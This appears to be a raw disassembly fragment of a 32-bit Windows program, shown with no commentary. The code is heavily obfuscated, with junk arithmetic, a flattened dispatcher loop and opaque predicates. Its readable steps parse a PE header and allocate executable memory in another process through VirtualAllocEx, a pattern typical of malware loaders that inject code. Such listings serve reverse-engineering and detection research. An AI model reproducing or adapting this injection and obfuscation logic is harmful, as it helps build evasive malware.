mov esi, 0x1e
bswap edx
inc edx
imul edx
imul edi
rcr ebx, 0x9d
rcl edx, 0x3c
add eax, 0xbe
mov edx, 0x9c
not ebx
imul ebx
or ebx, 0x96
add esi, 0xc1
not ebx
inc edx
ror edi, 0x66
or edx, 0xf1
add edx, 0xd8
or eax, 0x29
inc eax
sub ebx, 0xc1
rcl eax, 0x50
sbb ebx, 0x22
inc edx
imul ebx
not eax
neg esi
and eax, 0x60
neg esi
rcl ebx, 0x72
sub edi, 0xc
dec eax
dec ebx
bswap ebx
ror eax, 0x68
rcl edi, 0x9f
imul edx
imul esi
rcr ebx, 0xe
sbb eax, 0xb2
imul eax
bswap eax
sbb esi, 0x24
sbb edx, 0x76
and eax, 0xbf
rol edx, 0x9c
or esi, 0x72
or edx, 0x8d
imul esi
rol eax, 0x57
dec eax
rol esi, 0x5b
sbb edi, 0xce
inc eax
or eax, 0xd4
not edx
imul edi
mov edi, 0x5d
imul edx
mov ebx, 0x3f
dec edx
neg ebx
imul edi
add edx, 0x15
rcr esi, 0x95
not edi
and ebx, 0x5b
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ecx, 0x396968e3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x292ef076
cmove eax, ecx
jmp 0x402340
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb4d21c0
mov eax, edx
and eax, 0x55588120
and ecx, edx
not edx
and edx, 0xaaa77edf
mov esi, ecx
not esi
and ecx, 0xbc7f4533
or eax, edx
mov edx, eax
xor eax, 0xa0520c0
xor edx, 0x480100
mov edi, eax
or edi, 0x40809a0c
or eax, esi
and esi, 0x4380bacc
and edx, 0x84d0100
and edi, 0x4380bacc
or ecx, esi
not eax
or edx, edi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xf4b2de3f
and eax, 0xb4d21c0
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc5742c6b
and eax, 0xbf5e5164
and edx, 0x3a8bd394
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0xc5742c6b
xor esi, 0x7a2a7d0f
xor ecx, 0x280a5094
and esi, edx
or edx, 1
and ecx, 0x292e5cf4
or eax, esi
mov esi, eax
not esi
and eax, 0x2269ee49
and esi, 0xdd9611b6
or eax, esi
mov esi, eax
xor esi, 0x200840d0
xor eax, 0x9d37bf2c
mov edi, eax
or eax, edx
and edx, 0xd6d1a30b
and edi, 0xd6d1a30b
and esi, 0x292e5cf4
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov edx, eax
xor edx, 0x501ab75d
mov ecx, eax
and ecx, 0x50121604
and edx, eax
not eax
and eax, 0x8a159
or ecx, eax
mov eax, ecx
xor eax, 0x1400
xor ecx, 0xafede9fb
mov esi, ecx
and esi, 0x54f2832d
and eax, 0x83450
or eax, esi
mov esi, edx
not esi
and edx, 0xab0d7cd2
or ecx, esi
and esi, 0x54f2832d
or edx, esi
not ecx
mov esi, 0x2b91412a
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x501ab75d
and eax, 0xafe548a2
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x66e2873b
and eax, 0x991d78c4
or ecx, eax
mov eax, ecx
xor eax, 0x22220411
xor ecx, 0x101d1840
and ecx, 0x54dd9b6a
and eax, 0xab226495
or eax, ecx
mov ecx, eax
xor ecx, 0x44950922
xor eax, 0x22000011
and eax, 0x32489259
and ecx, 0xcdb76da6
or ecx, eax
xor ecx, 0xcdb76da6
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x812c289d
cmovne eax, esi
test cl, cl
mov ecx, 0x812c289d
cmovne eax, ecx
test dl, dl
cmove eax, esi
jmp 0x402340
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, 0x5208ec7f
jmp 0x402340
mov eax, 0x9310d902
jmp 0x402340
mov eax, dword [ebp - 0x148]
mov edx, eax
not edx
mov ecx, eax
and eax, 0x48046e5d
and ecx, 0x3000
mov esi, edx
and edx, 0xb7fb91a2
and esi, 0xffffcfff
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x48046e5d
xor eax, 0xb7fb91a2
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
mov edx, 0xb0c73f85
xor ecx, eax
test ecx, eax
mov eax, 0x6341c3c
cmove eax, edx
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0x5a263391
jmp 0x402340
mov ecx, dword [0x477984]
mov edi, 0xdba64b27
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xb92d631e
mov ecx, edx
and ecx, 0x46d29ce0
and edx, 0x992f295d
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0xb92d631e
and eax, 0x66d0d6a2
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x7b613c17
mov esi, edx
and esi, 0x849ec3e8
or ecx, esi
mov esi, eax
xor esi, 0x62401402
xor eax, 0x800e0148
and eax, 0x849ec3e8
and esi, 0x7b613c17
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xc1577a6c
sete al
setne dl
cmp dword [0x477980], 0xa
setge cl
setl ah
or al, cl
mov ch, cl
or ah, dl
or ch, dl
xor ah, 1
xor al, 1
mov cl, ch
or al, ah
mov dl, ch
and dl, al
xor cl, 1
xor al, 1
and cl, al
or al, ch
or cl, dl
mov ch, al
xor ch, cl
test ch, 1
cmovne edi, esi
test al, al
mov eax, 0xdba64b27
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x402340
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0x1fdda379
jmp 0x402340
mov eax, 0x1e0dc337
jmp 0x402340
mov eax, 0x2bf1f9a4
jmp 0x402340
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, 0x4130a1fc
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x51653075
and edx, 0xae9acf8a
or edx, ecx
mov edi, edx
xor edi, 0x51653075
mov eax, edx
xor edx, 0x31b415b5
xor eax, 0xae9acf8a
mov ecx, edi
or ecx, 0x9f2eda3f
mov esi, eax
and edx, edi
and esi, 0x40912500
and edi, 0x948c701f
mov ebx, ecx
and ebx, 0xb86288f9
or esi, ebx
mov ebx, edx
not ebx
and edx, 0x479d7706
or ecx, ebx
and ebx, 0xb86288f9
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
not edx
and edx, 0x9f2eda3e
and ecx, 0x60d125c1
or ecx, edx
mov edx, eax
and edx, 0x6b738fe0
and eax, 1
or edx, edi
xor edx, 0x948c701e
or eax, edx
mov edx, eax
not edx
and eax, 0xca4ec64c
and edx, 0x35b139b3
or eax, edx
xor eax, 0xca4ec64c
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4b8c64b1
and eax, 0x28610810
mov edx, ecx
and edx, 0xb4739b4e
or ecx, 0xc28610c1
or esi, edx
and ecx, 0xd79e91c5
mov edx, esi
xor esi, 0x80021040
xor edx, 0x6420
or eax, ecx
or esi, 0x15188104
and edx, 0x662a
and esi, 0xd79e91c5
or edx, esi
mov esi, 0x5fbeb09
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc28676eb
and ecx, 0x3d798914
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x394516ad
and ecx, 0xc6bae952
or ecx, eax
xor ecx, 0xc6bae952
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
mov eax, 0xcda77f72
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
test dl, dl
jmp 0x40cb4d
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0xad1f7e4d
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xadbf7029
mov edx, eax
and edx, 0x52408fd6
and eax, 0xadb6d05c
or esi, edx
mov edx, ecx
or edx, 0xfb03d888
mov edi, esi
xor edi, 0x4bc2020
xor esi, 0x52008880
and edx, 0xfb03d889
and esi, 0xfb03d888
and edi, 0x4fc2776
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x1785caac
and esi, 0xe87a3553
or edx, esi
mov esi, edx
xor esi, 0x584c00c
xor edx, 0xe87a3553
mov edi, edx
or edx, ecx
and ecx, 0x52492fa3
and edi, 0x52492fa3
and esi, 0xadb6d05c
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
xor edx, 0xffffffff
sete cl
setne ah
cmp dword [0x477980], 0xa
setge al
setl dl
mov ch, al
and dl, ah
xor ah, al
or ch, cl
and ah, cl
xor ch, 1
or ch, ah
mov ah, al
xor ah, cl
and ah, al
and al, cl
or al, dl
mov edx, 0x1ca8f399
or al, ah
xor al, ch
and ch, al
mov cl, al
xor cl, ch
test al, al
mov eax, 0xf284f8fc
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov edx, 0xf284f8fc
cmove eax, edx
jmp 0x402340
mov ecx, dword [ebp - 0x128]
mov eax, 0x12d32e38
mov dword [ebp - 0xd8], ecx
jmp 0x402340
mov eax, 0x7a3f6c7d
jmp 0x402340
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, 0xd586e389
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, 0x11fc2a84
jmp 0x402340
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, 0xbb0d5734
jmp 0x402340
mov eax, 0xabb76ba7
jmp 0x402340
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0x77052d21
jmp 0x402340
mov eax, 0x7def3566
jmp 0x402340
mov eax, 0x60b5e193
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x80408368
mov ecx, edx
and ecx, 0x5130006
and edx, 0x37d0552f
or esi, ecx
mov ecx, eax
xor ecx, 0x8553836e
and ecx, eax
xor esi, 0x80408368
and eax, 0xc82faad0
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x7595fdf5
mov edx, eax
xor eax, 0x37d0552f
xor edx, 0xc82faad0
and esi, 0x8a6a020a
or ecx, esi
mov esi, ecx
xor esi, 0xf0c67e9a
xor ecx, 0xf398165
and eax, esi
and edx, ecx
mov esi, 0x1ea76fc2
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x477980], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x1ea76fc2
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xea7bf037
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x40af1b
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edi, eax, eax
not eax
and ecx, 0x74caca0c
and eax, 0x8b3535f3
or ecx, eax
xor ecx, 0x74caca0c
or edi, ecx
mov ebx, edi
not ebx
mov ecx, edi
and ecx, 0x47501ad3
and edi, 0x206191a9
mov eax, ebx
and eax, 0xb8afe52c
or ebx, 0xc79e2414
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0x47501ad3
xor esi, 0x7f31c138
xor ecx, 0x2005a028
and esi, eax
mov dword [ebp - 0x78], eax
and ecx, 0x6355ba78
mov eax, esi
not eax
and esi, 0x66ebb1b9
mov edx, eax
or eax, ebx
and edx, 0x99144e46
and ebx, 0x99144e46
or esi, edx
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov edx, eax
not edx
and eax, 0x6e6645bd
and edx, 0x9199ba42
or eax, edx
mov esi, eax
xor esi, 0x21502028
xor eax, 0x56079e57
mov edx, eax
and edx, 0x9caa4587
and esi, 0x6355ba78
or esi, edx
mov edx, dword [ebp - 0x78]
or edx, 1
or eax, edx
and edx, 0x9caa4587
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x18565a85
and eax, 0x24840220
mov edx, ecx
and edx, 0xe7a9a57a
or ecx, 0x49001c
or esi, edx
and ecx, 0x4349419c
mov edx, esi
xor esi, 0x90018
xor edx, 0x18121801
or eax, ecx
or esi, 0x43004180
and edx, 0x9832bc43
and esi, 0x4349419c
or edx, esi
mov esi, 0x1e0dc337
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xf36bd07b
and ecx, 0xc942f84
or eax, ecx
mov ecx, eax
xor ecx, 0x28100820
xor eax, 0x8004039a
and eax, 0xc304679e
and ecx, 0x3cfb9861
or ecx, eax
mov eax, ecx
xor eax, 0x8921040
xor ecx, 0x204279a
and ecx, 0x366dafbb
and eax, 0xc9925044
or eax, ecx
xor eax, 0xc9925044
setne cl
sete dl
cmp dword [0x477980], 0xa
setge al
setl ah
mov ch, al
and ah, cl
and al, dl
xor ch, dl
or al, ah
and ch, dl
mov edx, eax
mov cl, ch
xor dl, 1
xor cl, 1
and al, cl
or cl, dl
and dl, ch
or dl, al
mov eax, 0x53049891
mov ch, dl
xor ch, cl
test dl, dl
mov edx, 0x53049891
cmovne eax, esi
test cl, cl
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x402340
mov eax, 0x8549ca23
jmp 0x402340
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp - 0xd2], ax
mov eax, 0x6325aa64
jmp 0x402340
movzx eax, word [ebp - 0xce]
mov ecx, dword [ebp - 0x134]
mov edx, 0xa245375
cmp ecx, eax
mov eax, 0x65d89f4a
cmovl eax, edx
jmp 0x402340
mov eax, dword [0x477984]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xa8f35704
and eax, 0x570ca8fb
or esi, eax
mov ecx, esi
xor ecx, 0xa8f35704
xor esi, 0x570ca8fb
mov eax, esi
mov edx, ecx
or eax, 1
and esi, 0xfffffffe
and edx, 1
and ecx, 0x30d4b5ee
or edx, esi
mov esi, eax
and esi, 0xcf2b4a10
or ecx, esi
mov esi, edx
not esi
and edx, 0x30d4b5ef
or eax, esi
and esi, 0xcf2b4a10
or edx, esi
not eax
mov esi, 0xc1bedd10
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4c3da1cd
and ecx, 0xb3c25e32
or eax, ecx
mov ecx, eax
xor ecx, 0x4834a104
xor eax, 0x1025802
and eax, 0x50b58cb
and ecx, 0xfaf4a734
or ecx, eax
mov eax, ecx
xor eax, 0x40a1883
xor ecx, 0xdaa40520
and ecx, 0xdba54568
and eax, 0x245aba97
or eax, ecx
mov ecx, eax
xor ecx, 0x244a8083
xor eax, 0x50214440
and eax, 0x50317e54
and ecx, 0xafce81ab
or ecx, eax
cmp ecx, 0xafce81ab
sete dl
cmp dword [0x477980], 0xa
setge al
setl cl
xor cl, dl
xor dl, al
and al, dl
mov ch, cl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor ch, al
and al, cl
and ch, cl
xor cl, 1
not dl
and dl, cl
mov cl, ch
or al, dl
mov edx, 0xfef0fa84
jmp 0x40c0b4
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0xa9a0bac7
jmp 0x402340
mov eax, dword [0x477984]
mov esi, 0xfa22c826
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4bdd5f46
and ecx, 0xb422a0b9
or eax, ecx
mov ecx, eax
xor ecx, 0x4b804102
xor eax, 0x90020029
and eax, 0x905f1e6d
and ecx, 0x6fa0e192
or ecx, eax
mov eax, ecx
xor eax, 0x81641
xor ecx, 0xb200182
and ecx, 0x9b7709ae
and eax, 0x6488f651
or eax, ecx
mov ecx, eax
xor ecx, 0x24005241
xor eax, 0x1342018a
and eax, 0x53caa59a
and ecx, 0xac355a65
or ecx, eax
xor ecx, 0xac355a65
sete cl
setne dl
cmp dword [0x477980], 0xa
setl al
setge ah
and cl, al
xor al, dl
and dl, ah
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x183d9a69
cmovne ecx, esi
test al, al
mov esi, 0x183d9a69
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x402340
mov eax, 0x18afd060
jmp 0x402340
mov eax, 0xdea60c4a
jmp 0x402340
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, 0xf284f8fc
jmp 0x402340
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xf8]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
setne byte [ebp - 0x8a]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x32df99c0
and ecx, 1
mov esi, edx
and edx, 0xcd20663f
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x713157f
mov edx, eax
xor edx, 0x32df99c0
xor eax, 0xcd20663f
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x477980], 0xa
setge al
setl ch
mov cl, al
or al, ah
and ah, ch
xor ch, dl
and cl, dl
xor al, 1
or cl, ah
or al, ch
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
and ah, dl
mov edx, eax
or cl, ah
xor dl, cl
test dl, 1
mov edx, 0x30fbfff8
cmovne edx, esi
test al, 1
mov eax, 0x30fbfff8
jmp 0x40c46f
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa19da401
and ecx, 0x262198a
or edx, ecx
mov ecx, eax
xor ecx, 0xa3ffbd8b
xor edx, 0xa19da401
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa3ffbd8a
and edx, 0x5c004275
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x6cc82cc0
xor edx, ecx
test edx, ecx
sete dl
setne ah
cmp dword [0x477980], 0xa
setl al
setge cl
mov ch, al
and ah, cl
xor al, dl
and ch, dl
or ch, ah
mov ah, al
xor cl, ch
xor ah, 1
and cl, ch
mov ch, al
mov edx, ecx
or al, cl
xor cl, 1
and dl, ah
xor ah, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x65dec89
cmovne ecx, esi
test al, 1
mov eax, 0x65dec89
jmp 0x40b780
mov eax, 0x1b5d7714
jmp 0x402340
mov eax, dword [ebp - 0x54]
mov eax, 0x2e44d9fe
jmp 0x402340
mov eax, 0xe2b820f7
jmp 0x402340
mov eax, dword [ebp - 0xe0]
mov eax, 0xad03fb9f
jmp 0x402340
mov eax, 0xaf83d927
jmp 0x402340
mov eax, dword [ebp - 0xdc]
mov edi, 0x4de70d1e
cmp eax, dword [ebp - 0xe4]
mov eax, dword [0x477984]
lea edx, [eax + 1]
setne byte [ebp - 0x89]
imul edx, eax
mov ecx, edx
xor ecx, 0xc9e7299
and ecx, edx
not edx
and edx, 0xc9e7299
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x7ae55ba1
and eax, 0x851aa45e
or ecx, eax
mov eax, ecx
xor ecx, 0x81049407
xor eax, 0x767b2938
mov edx, eax
and ecx, 0xe31d9c07
and edx, 0x1ce263f8
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x369e1aee
and ecx, 0xc961e511
or edx, ecx
xor edx, 0xd58386e8
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x11c4204a
and eax, 0x8808c801
mov edx, ecx
and edx, 0x46010324
or ecx, 0x10440342
or esi, edx
and ecx, 0x307617d2
mov edx, esi
xor edx, 0x1802008
xor esi, 0x20321790
or eax, ecx
and esi, 0x307617d2
and edx, 0x4781202c
or edx, esi
mov esi, 0x4de70d1e
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x57c5236e
and ecx, 0xa83adc91
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbe272d4f
and ecx, 0x41d8d2b0
or eax, ecx
xor eax, 0x41d8d2b0
sete dl
setne ah
cmp dword [0x477980], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ch, cl
mov edx, eax
not ch
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
mov eax, 0x812c289d
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
jmp 0x40b1ad
cmp byte [ebp - 0x90], 0
mov eax, 0x7365f9b5
mov ecx, 0xefe554af
cmovne eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, 0xebfce319
jmp 0x402340
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x32cd9579
mov edx, eax
not edx
and ecx, eax
or eax, 0xcd326a86
and edx, 0x32000539
mov esi, eax
and esi, 0xedb8c0
or edx, esi
mov esi, ecx
not esi
and ecx, 0xff12473f
or eax, esi
and esi, 0xedb8c0
or ecx, esi
not eax
mov esi, 0x1ca8f399
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcbd8cb40
and ecx, 0x342734bf
or eax, ecx
mov edx, eax
xor edx, 0xf9155e39
xor eax, 0x6eaa1c6
mov ecx, eax
mov edi, edx
or ecx, 1
and eax, 0xfffffffe
and edi, 1
and edx, 0x85b6a18c
or edi, eax
mov eax, ecx
and eax, 0x7a495e73
or edx, eax
mov eax, edi
not eax
and edi, 0x85b6a18c
or ecx, eax
and eax, 0x7a495e73
or edi, eax
not ecx
xor edi, edx
or ecx, edi
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x6ee02197
and eax, 0x911fde68
or eax, edx
xor eax, 0x911fde68
or eax, ecx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x477980], 0xa
setge cl
mov edx, ecx
mov al, cl
and cl, ah
inc dl
xor al, ch
and ch, dl
or dl, ah
or cl, ch
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4510cd44
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x4510cd44
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402340
mov eax, 0xd9bb7302
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xc79935d1
not eax
mov esi, eax
and edx, ecx
and esi, 0xc79935d1
and ecx, 0xc6ad3600
and eax, 0x3952c9ff
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x4a8d2510
and esi, 0xb572daef
or edx, esi
mov esi, edx
xor esi, 0x91000c0
xor edx, 0x72ebef3f
mov edi, edx
and edi, 0xc6ad3600
and esi, 0x3952c9ff
or esi, edi
xor eax, esi
mov esi, 0x8d557bef
xor edx, eax
test edx, eax
setne dl
sete cl
cmp dword [0x477980], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
and dh, ch
or dl, ah
and al, cl
xor cl, ah
xor dl, 1
or al, dh
and cl, ah
xor al, 1
or cl, dl
or al, ch
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x5e832f00
cmovne esi, eax
test dl, dl
mov eax, 0x8d557bef
jmp 0x40b1aa
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x100]
mov edi, 0x656b4010
mov dword [eax], ecx
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xa8cf1c99
and eax, 0x5730e366
or ecx, esi
or eax, edx
mov esi, 0xc7f6bdac
not ecx
xor eax, 0x5730e366
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x477980], 0xa
mov ch, dl
setl al
setge cl
or al, ah
or ch, cl
xor dl, cl
mov dh, al
or al, ch
xor dh, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
mov ah, dl
or al, dh
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x656b4010
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x402340
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, 0x53fe98a8
jmp 0x402340
mov eax, dword [ebp - 0x80]
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x107c8178
mov edx, ecx
and edx, 0xef837e86
and ecx, 0x3f9dda4a
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0xc06225b5
xor esi, 0x107c8178
or edx, esi
or eax, ecx
mov esi, 0x1f74e2c5
not edx
xor eax, 0xc06225b5
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
mov dl, ah
and al, ah
xor dl, 1
mov ah, al
or dl, cl
mov ecx, eax
not cl
xor dl, 1
and cl, al
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
test al, 1
mov eax, 0xbe993dc3
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xbe993dc3
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, 0x9f8e6471
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0x65dec89
jmp 0x402340
mov eax, 0x1e294fbe
jmp 0x402340
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
